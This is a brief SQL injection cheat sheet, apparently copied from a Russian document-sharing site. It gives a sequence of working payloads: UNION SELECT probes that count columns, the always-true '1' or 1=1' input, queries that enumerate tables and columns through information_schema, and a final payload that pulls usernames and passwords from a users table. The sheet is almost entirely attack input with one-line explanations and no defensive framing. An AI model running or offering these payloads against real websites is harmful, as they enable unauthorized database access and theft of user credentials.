Вы находитесь на странице: 1из 1

Union Command is used to combine two or more select commands from different tables

in database.

The below commands are used to determine the number of columns in the database.
' union select 1,2,3,4,5#

'union select 1,2,3#

'union select 1,2#

This command is used to retrieve the data from table with same value in the each
column.
'
1 or 1 = 1

This command is used to retrieve the data from table with same value in the each
column.
1' or 1 = 1

The below command is used to get the information on list of tables in database.
' union select 1, table_name from information_schema.tables#

The below command is used to get column names from users table
the decimal format of users is 117 115 101 114 115
' union select 1, column_name from information_schema.columns where table_name =
char(117,115,101,114,115) #

The below command is used to get username and password data from users table.
' union select user,password from users#

Вам также может понравиться